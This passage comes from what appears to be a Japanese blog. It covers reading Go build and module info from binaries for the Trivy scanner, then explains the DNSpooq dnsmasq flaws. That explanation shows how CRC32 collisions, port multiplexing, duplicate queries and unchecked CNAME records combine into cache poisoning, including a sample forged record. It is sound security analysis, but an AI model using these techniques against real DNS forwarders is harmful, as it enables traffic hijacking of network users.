        path    github.com/knqyf263/utern
        mod     github.com/knqyf263/utern       (devel)
        dep     github.com/aws/aws-sdk-go       v1.25.36        h1:4+TL/Y2G5hsR1zdfHmjNG1ou1WEqsSWk8v7m1GaDKyo=
        dep     github.com/briandowns/spinner   v1.7.0  h1:aan1hBBOoscry2TXAkgtxkJiq7Se0+9pt+TUWaPrB4g=
        dep     github.com/cpuguy83/go-md2man/v2        v2.0.0  h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM=
        dep     github.com/fatih/color  v1.7.0  h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
        dep     github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af      h1:pmfjZENx5imkbgOkpRUYLnmbU7UEFbjtDA2hxJ1ichM=
        dep     github.com/mattn/go-colorable   v0.1.4  h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA=
        dep     github.com/mattn/go-isatty      v0.0.10 h1:qxFzApOv4WsAL965uUPIsXzAKCZxN2p9UqdhFS4ZW10=
        dep     github.com/pkg/errors   v0.8.1  h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I=
        dep     github.com/russross/blackfriday/v2      v2.0.1  h1:lPqVAte+HuHNfhJ/0LC98ESWRz8afy9tM/0RK8m9o+Q=
        dep     github.com/shurcooL/sanitized_anchor_name       v1.0.0  h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo=
        dep     github.com/urfave/cli   v1.22.1 h1:+mkCCcOFKPnCmVYVcURKps1Xe+3zP90gSYGNfRkjoIY=
        dep     golang.org/x/sys        v0.0.0-20191115151921-52ab43148777      h1:wejkGHRTr38uaKRqECZlsCsJ1/TGxIyFbH32x5zUdu4=

上に含まれているデータと同じになっているようです。何かシリアライズされていて入っていて、 go version が整形して出しているのかと思いきや普通に上の表示のまま入っています。つまり改行やタブなどがそのままです。プログラムで使いたい場合は逆に整形する必要があります。

ちなみにgo.modの中でreplaceを使っている場合などは dep のところが => になったりします。

ということで簡単にGoバージョンとmodule情報を取得することが出来ました。 go version はELFだけでなくPEやMach-Oにも対応しています。

ldflagsについて

バイナリサイズ削減のため、シンボルテーブルを生成しないようにすることがあるかと思います。よく見る以下のようなオプションですね。

-ldflags '-w -s'

ありがたいことにこの場合でも .go.buildinfo は残りました。

$ GOOS=linux GOARCH=amd64 go build -ldflags '-w -s' .
$ go version -m ./utern
./utern: go1.15.2
        path    github.com/knqyf263/utern
        mod     github.com/knqyf263/utern       (devel)
        dep     github.com/aws/aws-sdk-go       v1.25.36        h1:4+TL/Y2G5hsR1zdfHmjNG1ou1WEqsSWk8v7m1GaDKyo=
        dep     github.com/briandowns/spinner   v1.7.0  h1:aan1hBBOoscry2TXAkgtxkJiq7Se0+9pt+TUWaPrB4g=
        ...

strip などしても変わらずでした。 upx を使うとさすがに消えました。

Goのソースコード

上は readelfobjdump などのコマンドラインを使って取り出す方法を説明しましたが、せっかくなのでGoのコードも少しここで追ってみます。簡単なので各自で読んだほうが早いとは思いますが、自分があとで読み返すメモとして残しておきます。

.go.buildinfo

Goのコードを見るとセクション全体を見て .go.buildinfo のアドレスを取り出しています。

   for _, s := range x.f.Sections {
        if s.Name == ".go.buildinfo" {
            return s.Addr
        }
    }

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/exe.go#L107

そして .go.builinfo には先程何回も見た以下のデータが入っています。

$ objdump -s -j .go.buildinfo ./utern

./utern:     file format elf64-x86-64

Contents of section .go.buildinfo:
 d39000 ff20476f 20627569 6c64696e 663a0800  . Go buildinf:..
 d39010 303cd700 00000000 703cd700 00000000  0<......p<......

マジックバイト

この先頭14バイトはマジックバイトになっていてその値は \xff Go buildinf: でなければなりませんでしたが、Goにそのマジックバイトが定義されています。

var buildInfoMagic = []byte("\xff Go buildinf:")

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/version.go#L165)

そして15バイト目はこのあと出てくるポインタのサイズです。今回は 0x08 なので8バイトです。

ptrSize := int(data[14])

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/version.go#L165

4バイトの場合はuint32として取り出してuint64に変換し、8バイトの場合はそのままint64で取り出します。ここで出てくる bo は後述するエンディアンです。今回のバイナリの場合は8バイトなので bo.Uint64 になります。

var readPtr func([]byte) uint64
if ptrSize == 4 {
    readPtr = func(b []byte) uint64 { return uint64(bo.Uint32(b)) }
} else {
    readPtr = bo.Uint64
}

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/version.go#L191-L196

16バイト目はビッグエンディアンかリトルエンディアンかを表しています。0の場合はリトルエンディアンになります。ここで先程の bo に代入しています。

bigEndian := data[15] != 0
var bo binary.ByteOrder
if bigEndian {
    bo = binary.BigEndian
} else {
    bo = binary.LittleEndian
}

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/version.go#L165

Goのバージョン情報へのポインタ

そして17バイト目から上の ptrSize 分(今回は8バイト)を readPtr で取り出し、そこの値を読みに行きます。今回の例では 303cd700 00000000 なので readPtr した結果は 0xd73c30 になり、そのアドレスの値を読みに行く処理が以下の readString になります。

vers = readString(x, ptrSize, readPtr, readPtr(data[16:]))

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/version.go#L197

そしてポインタサイズの2倍分を読み込みます。今回は8バイトなので16バイト読み込んでいます。

hdr, err := x.ReadData(addr, uint64(2*ptrSize))
if err != nil || len(hdr) < 2*ptrSize {
    return ""
}

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/version.go#L213-L216

そして前半8バイトが実際のデータへのアドレス、後半8バイトがデータサイズになっています。

dataAddr := readPtr(hdr)
dataLen := readPtr(hdr[ptrSize:])

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/version.go#L217-L218

言葉だとわかりにくいと思うので図を再掲しておきます。

f:id:knqyf263:20210212160447p:plain

前半8バイトがアドレス( 0x9e23f0 )で、後半8バイトがサイズ( 0x08 )になります。

これがそれぞれ dataAddrdataLen に入ります。

あとはそのアドレス( dataAddr )にサイズ分( dataLen)アクセスするだけです。

data, err := x.ReadData(dataAddr, dataLen)
if err != nil || uint64(len(data)) < dataLen {
    return ""
}

これで以下のように go1.15.2 が得られます。

$ gobjdump -s --start-address 0x009e23f0 --stop-address 0x009e23f8 ./utern

./utern:     file format elf64-x86-64

Contents of section .rodata:
 9e23f0 676f312e 31352e32                    go1.15.2

module情報へのポインタ

先程は前半8バイトのポインタを使ったので、後半8バイトのポインタを使うだけです。実際には ptrSize をずらすので、ポインタサイズが違えば8バイトではなくなります。

mod = readString(x, ptrSize, readPtr, readPtr(data[16+ptrSize:]))

あとの流れは上と同じで、ポインタのポインタを辿っていくとmoduleデータが手に入ります。同じ readString が呼ばれているだけなので割愛します。

EXEファイルの処理

ELFだけじゃなくPEやMach-Oにも対応していると前述しましたが、それは openExe() 周りで吸収されています。バイナリの先頭を見て判断しています。あとは debug/elfNewFile を呼んでよしなにやってもらうという感じです。

  if bytes.HasPrefix(data, []byte("\x7FELF")) {
        e, err := elf.NewFile(f)
        if err != nil {
            f.Close()
            return nil, err
        }
        return &elfExe{f, e}, nil
    }

https://github.com/golang/go/blob/e9c96835971044aa4ace37c7787de231bbde05d9/src/cmd/go/internal/version/exe.go#L41-L48

PEやMach-Oの場合は debug/pedebug/macho を呼んでいます。

余談

最近DNS脆弱性についてブログに書いていて何かそういうセキュリティ関係者と思われている可能性があるのですが、そういった分析は本業と何も関係なくて本業ではTrivyというOSSを開発しています。これは脆弱性スキャンツールで、コンテナイメージなどを渡すと内部の脆弱性をスキャンします。何か未知の新たな脆弱性を見つけるタイプのものではなくて、CVE-IDなどが採番されている既知の脆弱性を見つけるツールになっています。OSパッケージの古いバージョンやプログラミング言語で使われるライブラリの古いバージョンなどに存在する脆弱性を見つけるのが主な役割です。

コンテナイメージ用のツールとして始めたのですが、今ではファイルシステム上のファイルだったりDockerfileに埋め込んで使えたりGitHubリポジトリのスキャンだったりにも対応しています。

github.com

Trivyは自分が趣味で開発したOSSで気づけば業務としてやることになっているのですが、Clairというこの界隈における絶対的王者を倒すために作り始めて気付けばGitHubスター数が1000差程度まで来ています。作り始めた時点でClairはスター数が5000以上もあって無理だろうと諦めつつあったのですがここに来て現実味を増してきたので、もしよろしければ応援していただけると嬉しいです(宣伝)。

話がそれましたが、Trivyは現在PythonRubyなどの言語にも対応しています。どのように検知するかと言うと各言語のパッケージマネージャが生成するロックファイルを使っています。npmでいう package-lock.json 、bundlerでいうところの Gemfile.lock です。

ですがGoには対応していません。それには2つの理由があって、Goの脆弱性データベースで使えるものがなかったためと、 go.sum はコンテナイメージ内に残さない可能性が高いためです。関係ないですが go.sum はロックファイルではないということもユーザの方から教わりました。GoはシングルバイナリにビルドできるのでDockerのマルチステージビルドなどと相性がよく、バイナリだけ置いて動かす事が多いです。スキャンしたかったら go.sum 置いてね、という運用も出来なくはないのですが美しくないですしそもそも良い脆弱性DBもないので後回しにしていました。

そこで改めて公開されているDBを見てみたところ以前はほとんど脆弱性がなかったGitLab Advisory Databaseがかなり充実してきていました。

gitlab.com

これなら十分有用だなということで go.sum を使わない方法を探していたところ、バイナリからmodule情報取り出せるということを1年前にIssueで教えてもらっていたことを思い出しました。

github.com

それで色々調べた結果、 go version が既に対応していることを知り、自分でも実装することが出来ました。以前ブログにも書いたのですが、Issueでユーザの方から教えてもらうことがとても多くていつも助かっています。情報の価値が高い現代において欲しい情報が勝手に集まってくるOSSは良いものだなと思います。

knqyf263.hatenablog.com

一方でこないだ放置していたOSSを久しぶりにメンテナンスしたら煽られたりしてOSS最悪だわとなったり、感情を揺さぶられがちなので情緒不安定にならないように気をつけましょう。

ということで脱線して長くなりましたが、結論を言うとGoでビルドしたバイナリをコンテナイメージ内に置いておくだけで脆弱性スキャンが出来るようになります!(まだ実装終わってないから出来るか断定はできないですが多分大丈夫)

コンテナに限らず手元にあるバイナリでも何でも .go.buildinfo が落とされていなければスキャンできます。個人的にはこういう機能ずっと実装したかったので嬉しい限りです。

このbuildinfoを取り出す処理はGo本体で実装済みなので関数呼ぶだけで済んで便利だな〜と思いきやinternal/の下にあって呼べませんでした。なので仕方なくコピペしつつ移植しました。コンテナイメージ内のファイルに対して使えるように多少の修正が必要だったので結果的には良かったのですが、internal/はやはりコピペを生むので微妙だな派閥になりました。上記のTrivyでもinternal/使ってるのですがexportしてくれ〜と苦情が来たりしていてあまり良い思い出がないです。

さらに余談ですがJavaの対応ももうすぐ入ります。 pom.xml は依存の依存とかは書いてなくて自前でMavenリポジトリから取得するように実装しました。単にGoでMavenの再実装をしただけになってしまいとても大変でした。それでも全部のプラグインには対応できないので完璧にはトレース出来ませんが、多くのケースでは幸せになるかと思います。他にも pom.xml ではなくてWARやJARを見てスキャンする機能も作っているので、 war として固めてコンテナイメージ内に置いただけで pom.xml はない、みたいなパターンでもスキャンできます。つまりMavenじゃなくてGradleでもOKです。この辺りの詳細はいずれ元気があれば書きます。

まとめ

TrivyがGoのバイナリに対して脆弱性スキャンかけられるようになる!!!(多分)

DNSpooqの脆弱性詳細と攻撃コード解説

概要

先日DNSpooqという脆弱性が公開されました。

www.jsof-tech.com

dnsmasqというソフトウェアに関する7つの脆弱性をまとめてDNSpooqと呼んでいて、大きく分けて2つの脆弱性種別で構成されています。

  1. DNSキャッシュポイズニング
    • CVE-2020-25686, CVE-2020-25684, CVE-2020-25685
  2. バッファーオーバーフロー
    • CVE-2020-25687, CVE-2020-25683, CVE-2020-25682, CVE-2020-25681

DNSキャッシュポイズニングとは何か?というのは調べればたくさん出てくるので解説はしませんが、ブログから図だけ引用しておきます。

https://www.jsof-tech.com/wp-content/uploads/2021/01/%D7%AA%D7%9E%D7%95%D7%A0%D7%946.png

*上記ブログより引用

バッファーオーバーフローの方はDNSSECの検証時の問題で、リモートから任意コード実行に繋がる可能性があります。

どちらかというとバッファーオーバーフローの方が危険度が高そうなことをホワイトペーパーでは書いているのですが、上記のサイトではKaminsky attack is back!と書いているぐらいなのでキャッシュポイズニングの方で注目を集めたい気配を感じます。

DNSpooq - Kaminsky attack is back!

自分もそちらに興味があったので、このブログではDNSpooqにおけるキャッシュポイズニングの仕組みについて解説して、そのあと実際に自分の書いたPoC(攻撃コード)について説明します。上でも説明しましたが、dnsmasq固有の脆弱性の話であってKaminsky attackと同等に扱うのはどうなんだろうという気もしますが、Kaminsky attackもそもそも単にBINDの実装の問題だったという指摘もあるので気にしないことにします。

dnsmasqに限定されず多くのDNSソフトウェアに影響を与えるキャッシュポイズニングの手法としてSAD DNSというものが2020年に公開されています。こちらについては過去にブログにまとめているので、興味がある人は合わせて確認してください。好みで言うとSAD DNSはサイドチャネルを使っていて興味深くて好きです。DNSpooqは単なる実装のミスという感じなので感動するほどではないですが、とはいえそこから現実的な攻撃に持っていったのはやはり凄いですし、よく考えるなと唸る部分も多いので学んでおくと役に立つと思います。

knqyf263.hatenablog.com

以下のホワイトペーパーを読んで自分の理解をまとめたものなので、気になる箇所があれば実際に読んでみると理解が深まるかと思います。間違いがあれば指摘いただけると幸いです。

https://www.jsof-tech.com/wp-content/uploads/2021/01/DNSpooq-Technical-WP.pdf

自分の仕事はDNSには全く関係ないのですが、DNSpooqを公表したJSOFはイスラエルのセキュリティ企業であり、イスラエル在住でセキュリティ企業に勤めている自分としては理解しないわけにはいかないなということで真面目にペーパーを読みました。趣味でやっていることなので正確性については何の保証もないということだけ最初に断らせていただきます。

JSOFは最近Ripple20という脆弱性も公表して話題になりましたし、NXNSAttackという別のDNSの問題を見つけたのはイスラエルのテルアビブ大学ですし、やはりイスラエルはサイバーセキュリティ強いなと感じています。SIGRedを報告したのもイスラエルのセキュリティ企業Check Pointですし、この半年ぐらいでいくつ見つけるんだという感じです。

要約

まず最初に詳細を把握するべきかどうかを知りたい人が多いかと思うので自分なりの解釈でまとめます。結論から言うと、

DNSフォワーダとして動かしているdnsmasqがWANに面している場合

は対策した方が良い可能性が高いです。そして厄介なことに直接dnsmasqを使っていなくても使っているネットワーク機器が内部的に利用している場合もあるので、影響機器一覧を見て影響を確認することをお勧めします。以下のVendorsから確認可能です。

www.jsof-tech.com

LAN内にdnsmasqがある場合でも完全に制御可能なマシンがLAN内にあれば攻撃可能ですが、企業ネットワーク等においてはその前提を満たすのは難しく、もし満たせていればその時点で他にも攻撃可能なパスが多いと思いますので、とりあえずは対象外として良いかと思います。

空港やカフェ、ホテルなど公共のネットワークにおいてはこの前提は攻撃者にとって容易に満たせると思いますので、対策推奨です。

NAT Slipstreamingと組み合わせることで攻撃が容易になると書かれているので、LAN内に攻撃者が制御可能なマシンがなくても攻撃可能になる可能性もありますが、詳細は書かれていませんしどの程度の実現性なのかは不明です。

samy.pl

WANに面している場合の説明に戻りますが、その場合は以下の2つのパターンがあります。

  1. WAN側からもDNSクエリを受け付ける場合
  2. LAN内からのみDNSクエリを受け付ける場合

1の場合は受け付ける必要がないなら設定で修正するべきですし、意図的に公開しておく必要があるならdnsmasqのバージョンを更新するのが良いと思います。

f:id:knqyf263:20210124162736p:plain
ホワイトペーパー P.3, Figure 1より引用

そして2の場合ですが、こちらも実は比較的容易に攻撃可能のためやはり更新推奨です。というのも、後述していますがブラウザから攻撃者のWebサイトを閲覧させるだけでキャッシュポイズニング出来る可能性があります。1の直接問い合わせ可能な場合と比べると難易度は上がりますが、不可能と言い切るには少し実現性が高そうと感じています。小規模ネットワークでルータがDNSフォワーダも兼ねていて内部でdnsmasqを利用している、などが想定される状況かと思います。もちろん大規模ネットワークでも上のような構成になっていれば影響を受けます。

以下に図を引用しておきます。

f:id:knqyf263:20210124163040p:plain
ホワイトペーパー P.3, Figure 1より引用

f:id:knqyf263:20210124163131p:plain
ホワイトペーパー P.3, Figure 1より引用

上の条件はDNSSECを有効にしていない場合のキャッシュポイズニングの影響の話です。割合として少ないと思うのでDNSSECが有効な場合については触れませんが、有効な場合はバッファーオーバーフローの影響を受けることになるので上記ブログなどを参照してください。

上の条件に当てはまる人は後半の対策・緩和策を見ていただければと思います。影響をきちんと理解してから対策したいという人はこのあとの詳細を読んでいただけると対策するべきかどうかの理解が深まるかもしれません。

詳細

では実際にDNSキャッシュポイズニングの脆弱性(CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)について説明していきます。

背景

DNSキャッシュポイズニングを行うためには、以下の2つを推測する必要があります。

  • TXID(transaction ID)
  • Source UDP port

正規のリクエストに対して攻撃者は偽のレスポンスを返すわけですが、その中に推測した上記の2つの値を含めます。TXIDはDNSプロトコル自体に含まれているIDで、リクエストと同じ値をレスポンスに含める必要があります。Source UDP portは名前の通りUDPのソースポート番号でこちらも当然リクエストの送信元ポート番号とレスポンスの送信先ポート番号を一致させる必要があります。

元々ランダムな値はTXIDしかなかったのですが、2008年に公開されたカミンスキーアタックによって多くのソフトウェアで推測を難しくするためにソースポート番号のランダム化が実装されました。

これらの値は両方16bitであるため、合計で32bitのランダム性があります。総当りするには現実的でない値のため、偽のレスポンスをDNSサーバに信じ込ませるというのは通常困難です。そこで、これらのエントロピーを少なくして総当りで成功しやすくする手法というのがDNSキャッシュポイズニングの主な手法になってきます。実際に上のSAD DNSではソースポート番号をサイドチャネル攻撃を使って推測し、TXIDは総当りしています。

今回のDNSpooqはdnsmasqの実装ミスによりそれぞれの空間が減ってしまっていて総当りが容易になっているというもので、やはり総当たりが前提となってきます。

前提

今回の脆弱性でキャッシュポイズニングを成功させるためには以下のいずれかの条件が必要です。

  1. dnsmasqがインターネットに公開されている

  2. dnsmasqはインターネットに公開されていないが、攻撃者はLAN内のユーザに攻撃者の管理しているWebサイトを閲覧させることができる

  3. dnsmasqはインターネットに公開されていないが、LAN内のマシンが攻撃者の支配下にある

それぞれ要約で引用している3つの図と対応しています。

論文では上のように書いていますが、自分の理解を足して補足すると2も3もdnsmasq自体はグローバルIPアドレスを持っているがクエリ自体はLANからしか受け付けないという状況と理解しています。NAT配下にあると状況が変わってしまうので、dnsmasqがDNSクエリを転送した時、ソースIPアドレスとポート番号はdnsmasqサーバのものになっている必要があるかと思います。

これらの構成の場合ははデフォルトの設定で影響を受けますし、追加で何か特別な情報を事前に得る必要もありません。攻撃対象のDNSフォワーダのIPアドレスは必要ですが、そのぐらいかと思います。注意点としては、フルサービスリゾルバではなく単にフォワーダであるという点です。dnsmasqは自分の知る限りではDNSに関してはフォワーダとしての機能しかないと思うので、使っている人であれば勘違いすることはないかと思います。自分が知らないだけでフルサービスリゾルバとしても動くよ、などあれば教えて下さい。ただ少なくともこのペーパー内ではフォワーダとして話を進めているので、今後の話はフォワーダについてだと考えてください。

それぞれについてもう少し細かく説明します。

インターネット上に公開されたdnsmasq

ホワイトペーパーから引用した図にあるように、dnsmasqがインターネットに公開されていてDNSクエリも受け付けるという状態の場合です。Shodan.io で調べたところそのような脆弱なdnsmasqサーバは100万台程度あったそうです。

また、偽レスポンスを返すためのサーバがインターネット上に必要でこちらはソースIPアドレス等を偽装できる必要があります。ソースIPアドレスを偽装できないような制限を入れているISPというのもあるのですが、まだまだそうではないISPも多いのでこれの実現は容易です。

LAN内のマシンが攻撃者の支配下にある

dnsmasqがLAN内からしかクエリを受け付けないとしても、LAN内のマシンを乗っ取っていれば今回の脆弱性を悪用することが可能です。図からも分かる通り、dnsmasq自体はインターネットに対して足を持っている必要があると考えられます。

こちらもさきほど同様、インターネット上に偽装パケットを送信できるサーバが必要です。もしLAN内のマシンを完全に乗っ取っている場合は、そちらからも偽装パケットが送信できるのでその場合はサーバが不要です。

空港やホテルなど誰でも繋げるようなネットワークでかつdnsmasqがDNSフォワーダとして動いているような場合、LAN内のマシンを乗っ取らなくても攻撃者が直接LANに繋がることができるので容易に攻撃可能です。その場合、同一ネットワーク内にいる全ユーザが汚染されたDNSキャッシュの影響を受けます。

LAN内のマシンに攻撃者管理のWebサイトを閲覧させることができる

上の状況とほぼ同じですが完全にLAN内のマシンを操作できる必要はなくて、単にLAN内のマシンから攻撃者のWebサイトをブラウザ上で閲覧させることができれば十分です。上記の2つと同様に偽装パケットが送信できるサーバがインターネット上に必要です。

そして、以下のいずれかを満たす必要があります。

この理由については後述します。そしてEdge/IEの挙動は不明らしいです。

影響

あまりDNSpooq固有の影響というわけではなくキャッシュポイズニングが可能なら一般的に可能かなという内容になっていますが、一応解説しておきます。

中間者攻撃

狙ったドメイン名を異なるIPアドレスに対して名前解決可能なので、攻撃者のサーバに誘導したりしてトラフィックを盗み見ることが可能です。HTTPSやHSTSを使っている場合は影響を受けません。

汚染拡大

これは少しDNSpooq固有の前提が関係してくるのですが、まずLAN内のdnsmasqが汚染され同時にモバイル端末のローカルキャッシュも汚染されたとします。次に異なるLANに移動した場合、汚染されたローカルキャッシュが残っているので攻撃者のサーバなどに繋ぎに行きます。それをきっかけに新しいLAN内のdnsmasqも汚染することが可能です。

ただ上に書いたように前提として、LAN内のユーザに任意のWebサイトを閲覧させたりマシンを乗っ取ったりしておく必要があるので、そもそもそれが出来るなら汚染された人が移動する必要はないような気もします。パブリックWi-Fiなどセキュリティの弱いところで汚染された人が会社などのセキュリティ固いところに繋いで汚染が拡大してしまう、ということなら分からなくはないかなという感じです。

DDoS/Reverse DDoS

大量のdnsmasqのキャッシュを汚染して攻撃者のWebサイトに誘導します。そして悪意あるJavaScriptを返してブラウザから特定の攻撃対象に対して大量の通信を送ればDDoS攻撃になります。キャッシュポイズニングできればそりゃできるよな...という内容です。

https://www.jsof-tech.com/wp-content/uploads/2021/01/%D7%AA%D7%9E%D7%95%D7%A0%D7%947.png *JSOFのブログより引用

Reverse DDoSはその逆で特定のWebサーバに対するアクセスを全て別のサーバに飛ばしてしまい、アクセスできなくさせる手法のようです。Webサイトの所有者としてはアクセスがなくなると困るのでお金を払ってReverse DDoSをやめてもらうというシナリオを想定しているようです。

https://www.jsof-tech.com/wp-content/uploads/2021/01/%D7%AA%D7%9E%D7%95%D7%A0%D7%945.png *JSOFのブログより引用

CVE-2020-25684: ポートの多重化

dnsmasqのフォワーダはDNSクエリを上流のキャッシュサーバに転送するわけですが、その時に利用されるソケットの最大数は64となっています。各ソケットはランダムなソースポート番号が使われるため、dnsmasqはソースポート番号のランダム化(Source Port Randimization, SPR)が有効になっていると言えます。TXIDと合わせると32bitのエントロピーとなるわけですが、実装の問題によりそうはなっていなかったというのがこの脆弱性です。

dnsmasqでは1つのポートを1つのTXIDと結びつけるのではなく多重化しています。ホワイトペーパーだとかなりこの部分が個人的には分かりにくかったのですが修正のコミットを見たらわかりやすかったです。

thekelleys.org.uk

上記コミットの説明にも書いてある通り、送信時のポート番号と正確に一致しなくてもlistenしているポートであればどれであっても受け入れてしまうということです。

この結果、本来であれば16bitあったソースポート番号のエントロピーが6bit(=64)減ってしまうことになります。TXIDと合わせると32bitが26bitまで減ります。とはいえ26bitというのはまだ十分に総当りが困難で、現実的な脅威にはなりません。DNSキャッシュポイズニングを行うためには正規のレスポンスが返ってくる前に偽のレスポンスを送りつける必要があり攻撃できる時間はかなり限られているためです。

ですが、後述の脆弱性と組み合わせることで現実的な攻撃に落とし込んでいます。

CVE-2020-25685: 脆弱なCRC32の利用

DNSpooqの中だと一番面白い脆弱性かと思います。

dnsmasqがクエリを転送する際、まだ返答の来てないクエリは最大で150まで転送されます。150に到達したら一つ返ってくればまた一つ転送できるようになり...という形で管理されています。

繰り返し述べているようにレスポンスに含まれるTXIDはリクエスト時のTXIDと等しい必要があります。もちろん単にTXIDが等しければよいというわけではなくてQuestionセクションも等しい必要があります。このQuestionセクションはどのようなドメイン名のどのようなレコードタイプ・クラスを問い合わせていたか、というものが含まれています。例を上げると www.example.com A IN のようなものです。dnsmasqではQuestionセクションの検証のためにこれらの値をそのまま用いるのではなくハッシュを用います。

Questionセクションの値をつなぎ合わせた値のハッシュを取り、そのハッシュ値だけを保持します。そしてレスポンスから得られたハッシュ値と比較して一致するか検証します。

DNSSECが有効になっていない場合、CRC32がハッシュ関数として用いられます。

CRC32(b"www.bank.com\x00\x01\x00\x01")

問題は、CRC32は暗号的に安全なハッシュ関数ではないということです。攻撃者は特定のドメイン名のCRC32と等しいドメイン名を多数作り出すことができるため、それらのドメイン名をレスポンスとして返してもdnsmasqは受け入れてしまいます。

言葉だとわかりにくいと思うのでペーパー上の図を見てみます。

f:id:knqyf263:20210124165138p:plain
ホワイトペーパー P.5, Figure 2より引用

まず攻撃者はクライアントにCRC32が同一となるような複数のドメイン名に対するクエリを発行させます。この例だと mwynqabc.attacker.comidigvuo.attacker.com などです。これらのクエリに対して攻撃者は malicious.attacker.comドメイン名とそのリソースレコードを返します。すると全てのドメイン名のCRC32の値は等しくなるようにしてあるため(例では 0x3fd447f4 )、リクエストでは mwynqabc.attacker.com を問い合わせていたのに malicious.attacker.com のレスポンスを受け入れてしまうということが起きてしまいます。

何が嬉しいのかと言うと、それぞれに個別のTXIDが振られるという点です。150クエリまで同時に転送されるため、150のTXIDが同一のCRC32となるドメイン名それぞれに作られます。しかし攻撃者はそのいずれかのTXIDを推測できればdnsmasqはレスポンスを受け入れるため、本来16bitの中から1つを推測する必要があったのに16bitの中から150のいずれかを引き当てれば良くなります。つまりエントロピーは 216/150 になります。

ちなみにDNSSECが有効になっている場合、SHA-1が使われます。SHA-1の衝突攻撃については2017年に発表されましたが、今回の攻撃では少なくとも150個程度を衝突させる必要があり現時点では現実的には難しいとされています。

CVE-2020-25686: 同一ドメイン名に対する複数クエリ発行

基本的な考え方は上の脆弱性と同じなのですが、dnsmasqでは同一ドメイン名のクエリが複数同時に来た場合、全てを通常通り転送してしまいます。そしてレスポンスはそれらのうちどれか一つと一致すればよいため、上と同様の攻撃が可能になります。ドメイン名がそもそも等しくハッシュ値は必ず等しくなるため、仮に安全なハッシュ関数を利用していてもこの攻撃は刺さります。つまり、同一ドメイン名に対するクエリ(例えば仮に malicious.attacker.com )を150個投げるとそれぞれにTXIDが振られるため、攻撃者は malicious.attacker.com のレスポンスを総当りで返して150個のいずれかにヒットすればdnsmasqはそれを受け入れます。

f:id:knqyf263:20210124170545p:plain

上の図ではTXIDを連番にしていますが、実際にはランダムな数値で150個です。

衝突させる必要がないため脆弱なCRC32を利用した上の方法よりも容易なのですが、一部のスタブリゾルバ(ブラウザなど)では重複したDNSクエリが一気に送られないように重複排除する仕組みが入っておりこの方法は動きません。そのような場合は上のCRC32の方法を使い、重複排除が入っていない場合はこちらの手法を使うことができます。

説明を聞いて既に理解しているかと思いますが、併用できるものではなくいずれかの手法だけが有効でエントロピーを150減らすことが出来ます。CVE-2020-25684と合わせると150*64減らすことが出来ます。元々あった32bitから19bit程度まで削減することが出来て、50万クエリ程度でキャッシュポイズニングが可能になってしまいます。これは十分現実的な数で、ネットワークの状況にもよるが数秒か5分程度以内で送信完了できるとしています。さらにいくつかの最適化によりほとんどの場合では1分以内に攻撃が実現可能と主張しています。

DNSフォワーダにおけるレスポンスの未検証

脆弱性の話として面白いのは上の部分ですが、実害として大きいのはこちらの問題かと思います。dnsmasqではCNAMEを悪用することで不正なレコードを注入することが出来ます。仮に www.example.comのAレコードを問い合わせたとして攻撃者が以下のレスポンスを返したとします。

www.example.com    CNAME    www.bank.com
www.bank.com       A        6.6.6.6

BINDはこのような場合、 www.bank.com のレコードをキャッシュせず正しいものかどうか再度上流に問い合わせて検証します。一方、dnsmasqはレスポンスの検証はせずにこの値をそのまま受け入れます。しかしJSOFによればこの挙動自体は脆弱性ではなく合理的としています。というのは、DNSフォワーダの役割を考えた場合、フルサービスリゾルバから返ってきた返答が返ってくるわけですがフルサービスリゾルバ側で既に繰り返し問い合わせているはずだからです。もしDNSフォワーダで再度再帰で問い合わせるとなった場合、多くの無駄が生じます。そのため、DNSフォワーダにおいてそのまま受け入れるのは特におかしいことではないと説明されています。

f:id:knqyf263:20210124171228p:plain

とにかくdnsmasqでは上記のような場合に www.bank.com は6.6.6.6であると信じてしまうため、実際には誤りであってもそのレコードをキャッシュに注入します。CNAMEには最大10個まで同時に入れることが出来るため、最初の一つは問い合わせられたドメイン名と一致させるとして残りの9個は好きなドメイン名を入れることが出来ます。つまり上の手法を使ってキャッシュポイズニングをする場合、好きなドメイン名を一気に9個汚染することが出来ます。TTLに関わらず既存のキャッシュも上書きできるため、既にレコードがキャッシュ内にあったとしても防ぐことは出来ません。

CNAMEを無条件に信じちゃうなら、そもそも attacker.com を解決させてCNAMEに google.com とか入れておけば汚染し放題だしTXIDの推測とか必要なくない?と思ったのですが、これは恐らくフォワーダは上流のフルサービスリゾルバを信頼しており、そのフルサービスリゾルバでレスポンス検証を行っているので汚染されたCNAMEは返ってこないという前提があるのかなと思います。

f:id:knqyf263:20210124171647p:plain

つまりGoogleのPublic DNS8.8.8.8 )などを上流として指定している場合は攻撃者の権威サーバから汚染されたレコードを返しても 8.8.8.8 で浄化されてフォワーダに返ってきてしまうので攻撃が刺さらないのかなと考えています。そのため、 8.8.8.8 から返ってくる前にソースポート番号とTXIDを推測した偽装パケットを送りつけてフォワーダを信じさせる必要があります。

組み合わせる

では実際に上で説明した脆弱性を組み合わせて攻撃につなげるまでの手順を説明します。今回はdnsmasqがLAN内からのクエリしか受け付けずかつ攻撃者はLAN内のマシンを支配下に置いている、または攻撃者のWebサイトを閲覧させることが出来るという条件における攻撃手順になります。

ドメイン名の登録

CNAMEを使って汚染していくわけですが、その元となるドメイン名は必要になるため attacker.com を最初に取得して権威サーバも立てておきます。

